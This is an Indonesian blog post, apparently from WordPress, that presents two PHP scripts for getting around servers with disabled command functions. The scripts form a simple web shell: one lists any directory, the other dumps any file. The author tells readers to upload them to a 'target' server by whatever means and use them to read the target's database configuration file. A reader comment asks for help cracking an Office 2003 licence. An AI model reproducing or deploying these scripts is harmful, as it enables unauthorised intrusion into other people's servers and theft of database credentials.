Mengakali server yang mematikan fungsi CMD

1. bukadir.php
2. baca.php

isi script

bukadir.php
<html>
<head>
<title>:..: Membaca Isi Folder:..:</title>
</head>
<body bgcolor="#666666">
<?php
if(!$Submit) {
echo "<center>DOCUMENT ROOT : $DOCUMENT_ROOT";
?>
<form name="hackdir" method="post" action="">
<table width="500">
<tr bgcolor="#000000">
<td width="112">Masukkan Path : </td>
<td width="300"><input name="dir" type="text" id="dir" size="50"></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
</form>
<a href="admindb.php">halaman muka</a>
<?php
}
else {
echo "<center>
path $dir.<p>";
$path = $dir;
$dir = opendir("$dir");
?>
<textarea cols="40" rows="25">
<?php
while ($baca = readdir($dir))
print("$baca \n");
closedir($dir);
?>
</textarea><br>
<br>Melihat Isi File
<form name="hackdir" method="post" action="baca.php">
<table width="475">
<tr bgcolor="#000000">
<td width="130">Masukkan nama file : </td>
<td width="320">
<input name="path" type="text" id="path" size="50" value="<? echo $path ?>"></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
</form>
<a href="admindb.php">halaman muka</a>
<?php
}
?>
</body>
</html>

pada script ini kita memasukkan path dari target berdasarkan document root-nya

contoh :

DOCUMENT ROOT : ../../public_html/

Masukkan Path : /home/target_folder/public_html/

isi script

baca.php
<html>
<head>
<title>:..: Membaca Isi File:..:</title>
</head>
<body bgcolor=”#666666″>
<?php
if($Submit) {
$nama_file = “$path”;
$isi_file = file($nama_file);
$jml_baris = sizeof($isi_file);
echo “<center>File $nama_file berisi $jml_baris baris.<p>”;
?>
<textarea cols=”80″ rows=”25″>
<?php
for ($i=0; $i<$jml_baris; $i++)
{
print “$isi_file[$i]”;
}
?>
</textarea></center>
<?php
}
?>
<a href=”bukadir.php”>kembali</a>

pada script ini masukkan nama file yang akan dilihat isinya

contoh :

Masukkan nama file : /home/target_folder/public_html/configdb.php
dan sebagai catatan script ini harus diupload keserver target….caranya terserah anda!!!!

fungsi dari script ini untuk mendapatkan file konfigurasi database target

1 Comment

  1. aku ingin coba belajar hal ini untuk buka licence key yang disebabkan aku lupa atas install program, kalau berkenan, mas irfan bisa berikan contoh : misal untuk buka licence program office 2003, tks


Comments RSS TrackBack Identifier URI

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s